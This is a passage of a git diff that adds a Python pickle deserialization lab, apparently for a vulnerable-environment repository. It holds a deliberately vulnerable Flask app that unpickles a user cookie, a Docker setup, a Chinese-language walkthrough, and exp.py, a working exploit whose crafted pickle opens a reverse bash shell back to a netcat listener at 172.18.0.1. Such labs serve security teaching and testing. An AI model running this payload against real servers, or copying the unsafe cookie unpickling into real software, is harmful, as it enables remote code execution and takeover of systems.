return (os.system, (s,))
|
||||
```
|
||||
|
||||
要执行此利用,首先在您的机器上设置netcat监听器以接收反向shell:
|
||||
|
||||
```
|
||||
nc -lvp 80
|
||||
```
|
||||
|
||||
然后运行利用脚本,将恶意cookie发送到存在漏洞的应用程序:
|
||||
|
||||
```
|
||||
python3 exp.py
|
||||
```
|
||||
|
||||
当服务器反序列化恶意pickle对象时,它将执行命令并建立与您机器的反向shell连接:
|
||||
|
||||

|
19
python/unpickle/app.py
Normal file
19
python/unpickle/app.py
Normal file
@@ -0,0 +1,19 @@
|
||||
import pickle
|
||||
import base64
|
||||
from flask import Flask, request
|
||||
|
||||
app = Flask(__name__)
|
||||
|
||||
@app.route("/")
|
||||
def index():
|
||||
try:
|
||||
user = base64.b64decode(request.cookies.get('user'))
|
||||
user = pickle.loads(user)
|
||||
username = user["username"]
|
||||
except:
|
||||
username = "Guest"
|
||||
|
||||
return "Hello %s" % username
|
||||
|
||||
if __name__ == "__main__":
|
||||
app.run()
|
9
python/unpickle/docker-compose.yml
Normal file
9
python/unpickle/docker-compose.yml
Normal file
@@ -0,0 +1,9 @@
|
||||
version: '2'
|
||||
services:
|
||||
flask:
|
||||
build: .
|
||||
command: -w 4 -b :8000 -u www-data -g www-data --access-logfile - app:app
|
||||
volumes:
|
||||
- .:/app
|
||||
ports:
|
||||
- "8000:8000"
|
20
python/unpickle/exp.py
Normal file
20
python/unpickle/exp.py
Normal file
@@ -0,0 +1,20 @@
|
||||
#!/usr/bin/env python3
|
||||
import requests
|
||||
import pickle
|
||||
import os
|
||||
import base64
|
||||
|
||||
|
||||
class exp(object):
|
||||
def __reduce__(self):
|
||||
s = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.18.0.1",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'"""
|
||||
return (os.system, (s,))
|
||||
|
||||
|
||||
e = exp()
|
||||
s = pickle.dumps(e)
|
||||
|
||||
response = requests.get("http://172.18.0.2:8000/", cookies=dict(
|
||||
user=base64.b64encode(s).decode()
|
||||
))
|
||||
print(response.content)
|
2
python/unpickle/requirements.txt
Normal file
2
python/unpickle/requirements.txt
Normal file
@@ -0,0 +1,2 @@
|
||||
flask
|
||||
gunicorn
|
Reference in New Issue
Block a user